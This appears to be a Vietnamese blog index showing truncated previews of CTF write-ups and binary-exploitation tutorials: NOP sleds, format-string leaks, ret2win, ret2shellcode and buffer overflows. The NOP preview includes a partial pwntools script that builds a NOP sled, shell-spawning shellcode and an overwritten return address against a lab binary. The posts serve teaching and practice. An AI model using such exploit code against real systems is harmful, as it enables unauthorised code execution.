Posts

NOP (No Operation)

 Kiến thức NOP (\x90). Khi máy tính gặp câu lệnh này trong chương trình thì nó sẽ thực hiệp câu lệnh tiếp theo và bỏ qua nó. Nếu 1 payload được padding "\x90" vào bên trái bằng NOP và phía bên phải trỏ vào EIP. Thì nó sẽ không thực hiện bất cứ instruction nào cho đến khi gặp được shellcode của tôi. Phần padding với NOP này thường được gọi là NOP slide or sled. Vì cơ bản EIP là để sliding down chúng. In x86 assembly, NOP instruction is "\x90". Lệnh NOP thực ra là thay thế cho câu lệnh XCHG EAX, EAX. Câu lệnh này là vô nghĩa. Exploit * Tôi sẽ thêm 1 lượng lớn \x90 phía bên trái * Control return pointer to point the middle of the NOPs thay vì bắt buffer from pwn import * context . binary = ELF ( './vuln' ) p = process () payload = b'\x90' * 240 # The NOPs payload += asm ( shellcraft . sh ()) # The shellcode payload = payload . ljust ( 312 , b'A' ) # Padding payload += p32 ( 0xffffcfb4 + 120 ) ...

Format String (part1)

Image
1. Knowledge  printf("%s", input) => in ra chuỗi input (tham số đầu tiên sau format string) printf("%s") => in ra 1 giá trị chuỗi nào đó tại tham số đầu tiên - địa chỉ thứ 1(tính từ 0) trên stack (32bit) Còn đối với kiến trúc 64 bit, tham số đầu tiên sẽ không nằm trên stack mà nó sẽ năm hết trên thanh ghi sau đó mới ghi đến stack. printf("%30$s") => in ra địa chỉ chuỗi tại tham số thứ 30 - địa chỉ thứ 30 (tính từ 0) trên stack (32bit) printf("%6$p") => in ra giá trị tại tham số thứ 6 (địa chỉ or giá trị) dưới dạng 0x? thập lục phân printf("%6$x") => in ra giá trị tại tham số thứ 6 (địa chỉ or giá trị) dưới dạng thập lục phân (không có 0x) 2. Hướng exploit - Có thể tự do in ra 1 địa chỉ nào đó trong vùng nhớ (stack) của chương trình ("%6$x", "%22$p") - Có thể tự do in ra 1 giá trị chuỗi kí tự nào đó tại một địa chỉ trong vùng nhớ của chương trình ("%30$s") - Có thể thay đổi giá trị tại 1 địa c...

LACTF2023 - MISC

Image
misc/CATS!      Đọc đề, chúng ta thấy đề yêu cầu "Figure out the name of this cat heaven" có nghĩa là đi tìm tên của thiên đường mèo này, thêm nữa, phần chữ nhỏ có nói: "câu trả lời là miền của website và flag sẽ có form lactf{domain}".      Vì vậy, chúng ta sẽ dùng google image để tìm ra thiên đường mèo. Nhưng không thể tìm ra khung cảnh giống ảnh 100%, chúng ta sẽ sử dụng thiên đường có hỉnh ảnh giống 98%. Từ đó, thấy được thiên đường là Lanai Cat Sanctuary".     Flag: lactf{ lanaicatsanctuary.org} misc/EBE      Đề bài đã gợi ý rằng, "tôi" đã chỉ gửi 1 kí tự/ 1 lần truyền thông tin. Thì có nghĩa là khi chúng ta xem thông tin của một lần bắt thì chỉ có 1 ký tự, thật dễ dàng để nhận ra đó là kí tự cuối cùng của chuỗi ACSII:      Bạn có thể nhìn thấy khi ấn vào dòng Data, nó sẽ là dữ liệu được truyền đi. Và dữ liệu đó là "X". Vậy thì rất có thể flag của chúng ta sẽ được gửi bằng cách gửi từng kí tự một.  Bên ...

Incognito 4.0 CTF (Pwn/babyFlow)

Image
I. Overview => Nghĩ ngay lỗi ret2win mà tôi đã phân tích trong các blog trước bạn có thể xem lại nó trước khi xem tôi làm bài này 🙂     II. Analysis hàm  vulnerable_function :     argument_address(src) khi hàm gets được gọi:  0xffffd070 argument_address(dest) khi hàm ctrcpy được gọi:  0xffffd044 ret_address khi hàm ret được gọi:  0xffffd05c Khoảng cách từ src => dest: 44 bytes Khoảng cách từ src => ret_addr: 20 bytes Khoảng cách từ dest_addr => ret_addr: 24 bytes => STACK:       dest_addr      ==>      ret_addr      ==>       src Script để khai thác: Nhập 24 bytes + địa chỉ của hàm get_shell( 0x080491fc ) III. Payload Success: 

Ret2Shellcode

Image
[!] Mình khuyên bạn nên đọc phần 1 trước khi qua phần 2 mặc dù nó không liên kết với nhau nhưng bạn sẽ hiểu cách tôi exploit nó. I. Overview     Code c:                 Buffer cấp phát 300 bytes thì tha hồ mà buffer overflow :)). Đùa thôi nếu bạn đọc bài trước thì nó cx cấp phát 1 lượng byte khá lớn hình như là 178 bytes :)). Chắc đây là đặc điểm của mấy bài shellcode thì phải nhể ?     Checksec:                                                                                                           (bạn sử dụng vmmap với peda thì sẽ xem đc ảnh ở trên)      Thì trên stack nơi mà ta ghi vào có quyền execute ==> Đây là lỗi shellcode. ...

Shellcode (Part1)

Image
  ShellCode I. Pre-Overview  Trước khi overview nó thì bạn cần lắm được những kiến thức mà tôi sẽ đề cặp nó ở dưới đây:      void (*)(): là 1 dạng pointer trỏ đến các hàm có các đối số không xác định(indeterminate argument) và return no value.      (void (*)()): được hình thành từ dạng trên.      (void (*)())buf: hình thành buf từ loại trên.      ((void (*)())buf)(): gọi hàm nhưng không có đối số ==> Nó yêu cầu trình biên dịch coi buf như một pointer đến 1 hàm và để gọi hàm đó Ok. Thì đây là những gì bạn cần lắm được khi đọc code:            Dòng 17:  2 dòng 21 22 của chương trình thì bạn không cần phải quan tâm vì chức năng của nó là set Group ID để ngăn chặn khi mà ta /bin/sh loại bỏ các đặc quyền (Tức là đảm bảo tính toàn vẹn của hệ thống). II. Over View Thì sau khi rút gọn thì chương trình được simple hóa  như này:  (không khuyến khích) Thì lỗi đầu tiên mà tôi...

Buffer OverFlow

Image
 Buffer OverFlow (Lỗi tràn bộ đệm) Trong bài này mình xin phép lấy source của DownUnderCTF 2021 từ 1 anh trên mạng 😁 Các bạn lưu ý là chúng ta có  Stack OverFlow(Bộ nhớ tĩnh)  và Heap OverFlow (Bộ nhớ động) I. Overview Thứ mà bạn nhận được: Mình sẽ dùng ida64 để view pseudo code:       Đọc qua 1 lượt thấy mảng v4 cấp phát 24 phần tử dạng character và 1 variable v5. Nhưng điều bất thường ở đây bạn có thể thấy đó là chương trình yêu cầu nhập vào v4 nhưng mà lại lấy v5 mang đi so sánh 🙂. Bạn chưa phải biết gì vội hãy check xem hàm gets có chức năng gì ?           Khi bạn đọc xong dòng trên bạn nghĩ điều gì sẽ xảy ra nếu mình viết 25 phần tử + "\x00" or NULL byte? Follow tiếp phần checksec của trình gỡ lỗi gdb-peda  của nó:         Thì bạn có thể thấy chế độ CANARY đã bị disable thì ta có thể kết luận chắc chắn rằng đây là lỗi Buffer OverFlow  2. Analysis     Thì từ ảnh ida64 ở t...

PWN/bot write-up LACTF2023

Image
[DANGEROUS]: Cảnh báo bài này là 1 bài rất chi là "bịp" không được hỏi người viết tại sao 🙂  PWN/BOT I. Overview Firstly, Overview code c:            Bạn có thể thấy ở dòng 11 có 1 lỗi Stack Overflow. Và việc của bạn cần là by pass để gọi được system ra? No, no, no. Bạn không sai ==> Chúng ta sai Như bạn đã biết thì 1 chương trình c có điều kiện if-else cơ bản sẽ như sau:           thì khi mà conditions thỏa mãn thì nó sẽ dừng vòng lặp if-else và câu lệnh return 0 sẽ được gọi right ?? 1 vấn đề nữa trước khi chúng ta bắt đầu vào phân tích đó là nếu bạn ko return 0 thì chương trình mặc định vẫn sẽ làm điều đó thay bạn.              Oke, let's go. Bạn đã thử nhìn vào chương trình trên và thấy điều bất thường chưa :>?.     Câu lệnh exit(1) mà tôi thấy ở dòng thứ 31 nó được định nghĩa trên manual page:               Hơi, đi ngược l...